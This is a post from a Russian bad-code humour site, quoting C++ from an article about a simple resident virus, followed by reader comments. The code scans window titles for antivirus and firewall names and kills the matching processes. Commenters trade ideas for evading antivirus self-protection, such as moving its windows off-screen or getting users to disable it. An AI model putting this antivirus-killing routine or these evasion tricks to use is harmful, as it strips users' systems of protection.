Кресты / Говнокод #16341 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};

BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}

> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.

http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

Запостил: gost gost, (Updated )

Комментарии (23) RSS

  • > TerminateProcess(hProcess,0);
    А от чиего имени происходит вызов? Если от юзера - так просто убить свой процес антивирус не даст.
    Ответить
    • От юзера, вестимо. Естественно, антивирус пошлет такое наглое посягательство на его процесс нахуй.
      Ответить
      • Окно АВ можно тупо сдвинуть за экран, банальным вызовом MoveWindow.
        От этого не застрахован никакой касперский.
        Ответить
        • > Окно АВ можно тупо сдвинуть за экран, банальным вызовом MoveWindow.
          Это результат эксперимента или просто мысль?

          Ничто не мешает антивирусу перехватывать MoveWindow на свои окна, или вообще выпилить их из всех списков... Но вот делает ли он так в реале - х.з., я не пробовал.
          Ответить
    • > Если от юзера - так просто убить свой процес антивирус не даст.
      Если не от юзера - тоже не даст 🙂

      Тут, емнип, только прорываться с боем в нулевое кольцо защиты. Ну или тупо уговорить юзера отключить самозащиту антивиря.
      Ответить
      • Всегда могут быть не очевидные дырки. Например, как тот же эпичный баг с кашпировским и переводом даты.
        Кроме того, в 99% случаев домашний пользователь сидит под xp/семёркой с отрубленным uac'ом, с правами локального администратора.
        Ответить

Добавить комментарий

Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

    А не использовать ли нам bbcode?


    8